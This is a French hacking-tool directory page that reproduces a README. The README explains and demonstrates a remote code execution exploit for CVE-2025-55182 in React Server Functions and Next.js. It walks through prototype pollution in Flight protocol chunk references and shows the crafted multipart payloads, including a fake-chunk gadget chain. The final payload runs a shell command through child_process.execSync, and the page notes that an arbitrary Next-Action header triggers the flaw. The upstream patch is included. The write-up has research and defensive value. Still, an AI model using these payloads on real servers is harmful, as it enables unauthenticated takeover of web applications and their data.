Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-55182 — Preuve de concept d'exploitation pour CVE-2025-55182, permettant l'exécution de code à distance dans les fonctions serveur React via une pollution de prototype et des fragments de protocole Flight conçus sur mesure. | Kitploit
Outils/GitHubGitHub/andressuarezmonk/cve-2025-55182
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubandressuarezmonk/cve-2025-55182

CVE-2025-55182

Preuve de concept d'exploitation pour CVE-2025-55182, permettant l'exécution de code à distance dans les fonctions serveur React via une pollution de prototype et des fragments de protocole Flight conçus sur mesure.

Voir le dépôt
il y a 9 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-55182

Auteur original : https://github.com/msanft/CVE-2025-55182

Cette vulnérabilité permet une exécution de code à distance (RCE) dans les Server Functions de React, par exemple telles qu'elles sont proposées par Next.js, via des références non sécurisées au prototype.

Je ne suis pas expert en React ou Next.js, donc prenez toutes ces informations avec des pincettes.

Contexte

React propose des Server Functions1, que l'on peut considérer comme une sorte de RPC-over-HTTP. Elles peuvent être utilisées pour récupérer des données auprès de pairs adjacents afin de garantir une faible latence, ou pour effectuer des requêtes authentifiées pour lesquelles le client ne possède pas les identifiants.

React utilise ce qu'on appelle le protocole React Flight2 pour sérialiser les valeurs transmises aux Server Functions.

Le client transmet des « chunks » au serveur, par exemple via des données de formulaire :

root@kitploit:~
files = {
    "0": (None, '["$1"]'),
    "1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
    "2": (None, '{"fruitName":"cherry"}'),
}

Comme illustré, ceux-ci peuvent contenir des références les uns vers les autres. La charge utile ci-dessus est désérialisée côté serveur comme suit :

root@kitploit:~
{ object: 'fruit', name: 'cherry' }

Le format lui-même est un peu plus complexe et permet une sérialisation et une désérialisation plus élaborées, mais cela donne une compréhension de base de la vulnérabilité réelle.

Vulnérabilité

Jusqu'à ce commit3, lors de la traversée des chunks pour résoudre les références, par exemple pour obtenir fruitName à partir du chunk 2 dans l'exemple ci-dessus, React ne vérifiait pas si la clé demandée était réellement définie sur l'objet. Cela permettait d'obtenir le prototype de l'objet4.

Ceci peut être démontré avec une charge utile comme celle-ci :

root@kitploit:~
files = {
    "0": (None, '["$1:__proto__:constructor:constructor"]'),
    "1": (None, '{"x":1}'),
}

Qui se désérialise en le constructeur de fonction5 :

root@kitploit:~
[Function: Function]

Lorsque le chunk avec l'ID 0 n'est pas un tableau mais un objet, nous pouvons définir la clé then sur le constructeur de fonction. L'objet est ensuite renvoyé par la fonction decodeReplyFromBusboy et attendu (await) par Next.js :

root@kitploit:~
// action-handler.ts:888 (pre-patch)
boundActionArguments = await decodeReplyFromBusboy(
    busboy,
    serverModuleMap,
    { temporaryReferences }
)

Lorsque cela renvoie un thenable, le await chez l'appelant l'invoquera. C'est ce qui se passe avec cette charge utile :

root@kitploit:~
files = {
    "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
    "1": (None, '{"x":1}'),
}

Ce qui conduit à cette erreur :

root@kitploit:~
SyntaxError: Unexpected token 'function'
    at Object.Function [as then] (<anonymous>) {
      digest: '1259793845'
    }

L'erreur ressemble à ceci car V8 appelle une fonction awaitée avec les fonctions internes resolve et reject, qui, lorsqu'elles sont passées à toString, se sérialisent en quelque chose comme :

root@kitploit:~
function () { [native code] }

Exploitation

Puisque nous pouvons trivialement récupérer le constructeur Function, l'approche directe consiste à trouver un gadget d'appel qui invoque le constructeur avec une valeur contrôlée par l'utilisateur (c'est-à-dire le code de la fonction sous forme de chaîne de caractères), puis appelle ensuite la fonction renvoyée.

Il existe plusieurs endroits capables d'appeler le constructeur de fonction, par exemple resolveServerReference, où id est un objet contrôlé, et où lastIndexOf peut être redéfini pour renvoyer une chaîne contrôlée par l'utilisateur (par exemple via Array.prototype.join), et slice peut être redéfini sur le constructeur de fonction. Cependant, cet endroit ne fonctionne pas car la seconde invocation de .slice() fournit un nombre comme premier argument, ce qui, à ma connaissance, ne peut jamais être pris en charge par le constructeur de fonction.

C'est ici qu'intervient une idée brillante de maple31426. Lorsque getChunk récupère le chunk à l'ID 0 comme référence racine pour commencer à résoudre la chaîne de références, ce même chunk peut se résoudre en un « faux chunk » fabriqué.

Nous pouvons référencer le chunk 0 fabriqué dans le chunk 1 en utilisant la syntaxe $@, qui renvoie le chunk « brut », et non sa valeur résolue :

root@kitploit:~
case "@":
  return (
    (obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
  );

En combinant cela avec notre redéfinition de then ci-dessus, nous pouvons fabriquer quelque chose comme :

root@kitploit:~
files = {
    "0": (None, '{"then": "$1:__proto__:then"}'),
    "1": (None, '"$@0"'),
}

Ici, le chunk 0 redéfinit son propre .then() avec le .then() de sa propre représentation de chunk brut. En termes simples, nous redéfinissons notre propre .then() avec Chunk.prototype.then, qui existe puisque les Chunk sont des thenables :

root@kitploit:~
Chunk.prototype.then = function (resolve, reject) {
      switch (this.status) {
        case "resolved_model":
          initializeModelChunk(this);
      }
      // ...

Avec la charge utile ci-dessus, Chunk.prototype.then est finalement appelé avec le chunk fabriqué ayant l'ID 0.

Comme montré ci-dessus, lorsque .status sur notre faux chunk est resolved_model :

root@kitploit:~
files = {
    "0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
    "1": (None, '"$@0"'),
}

Nous entrons dans initializeModelChunk. Ici, .value est analysé comme du JSON, puis les références sont résolues sur l'objet renvoyé, en utilisant le contexte « externe » de nos chunks avec les ID 0 et 1 :

root@kitploit:~
function initializeModelChunk(chunk) {
    // ...
    var rawModel = JSON.parse(resolvedModel),
        value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
    // ...

À l'intérieur de cela, nous obtenons maintenant une seconde passe d'évaluation avec un peu plus de valeurs auxquelles nous avons accès car le contexte externe est déjà résolu.

Il y a un gadget d'appel dans le traitement des données blob avec le préfixe $B dans le protocole Flight :

root@kitploit:~
case "B":
  return (
    (obj = parseInt(value.slice(2), 16)),
    response._formData.get(response._prefix + obj)
  );

En utilisant le champ spécial _response, nous contrôlons la propriété response du chunk fabriqué :

root@kitploit:~
// in initializeModelChunk
value = reviveModel(chunk._response, // ...

Avec cela, nous pouvons fabriquer un objet avec de fausses propriétés ._formData et ._prefix :

root@kitploit:~
crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"return foo; // ",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

La propriété .reason doit être ajoutée pour éviter l'échec de l'invocation de toString dans `initializeModelChunk:

root@kitploit:~
var rootReference = -1 === chunk.reason ? void 0 : chunk.reason.toString(16), resolvedModel = chunk.value;

En faisant pointer ._formData vers le constructeur de fonction et ._prefix vers notre code, nous obtenons un gadget d'invocation pour le constructeur de fonction dans la désérialisation des blobs :

root@kitploit:~
response._formData.get(response._prefix + "0")
// becomes
Function("return foo; // 0")

Notre fonction fabriquée est ensuite renvoyée par parseModelString comme méthode .then() du chunk fabriqué, laquelle est également attendue, car tout cela se déroule dans une chaîne unique de résolution de promesses. Ainsi, en renvoyant un thenable, notre fonction fabriquée est appelée. Cela constitue le gadget d'appel requis mentionné ci-dessus.

En rassemblant tout cela avec une véritable charge utile RCE, nous obtenons quelque chose comme :

root@kitploit:~
crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"process.mainModule.require('child_process').execSync('calc');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

Le bonus, qui rend cette vulnérabilité encore plus grave, est que tout cela se produit pendant la désérialisation, avant que l'action demandée ne soit d'abord validée dans getActionModIdOrError. Ainsi, il suffit de définir un en-tête tel que Next-Action: foo pour déclencher la vulnérabilité.

Correctif

L'utilisation des références de chunks pour obtenir des propriétés du prototype est corrigée par cette vérification :

root@kitploit:~
@@ -78,7 +80,10 @@ export function preloadModule<T>(
 
 export function requireModule<T>(metadata: ClientReference<T>): T {
   const moduleExports = parcelRequire(metadata[ID]);
-  return moduleExports[metadata[NAME]];
+  if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
+    return moduleExports[metadata[NAME]];
+  }
+  return (undefined: any);
}

Footnotes

  1. https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/master/%3Chttps:/react.dev/reference/rsc/server-functions%3E ↩

  2. https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/master/%3Chttps:/tonyalicea.dev/blog/understanding-react-server-components/%3E ↩

  3. https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/master/%3Chttps:/github.com/facebook/react/pull/35277/commits/e2fd5dc6ad973dd3f220056404d0ae0a8707998d%3E ↩

  4. https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/master/%3Chttps:/developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Advanced_JavaScript_objects/Object_prototypes%3E ↩

  5. https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/master/%3Chttps:/developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/Function%3E ↩

  6. https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/master/%3Chttps:/x.com/maple3142%3E ↩

Télécharger l’outil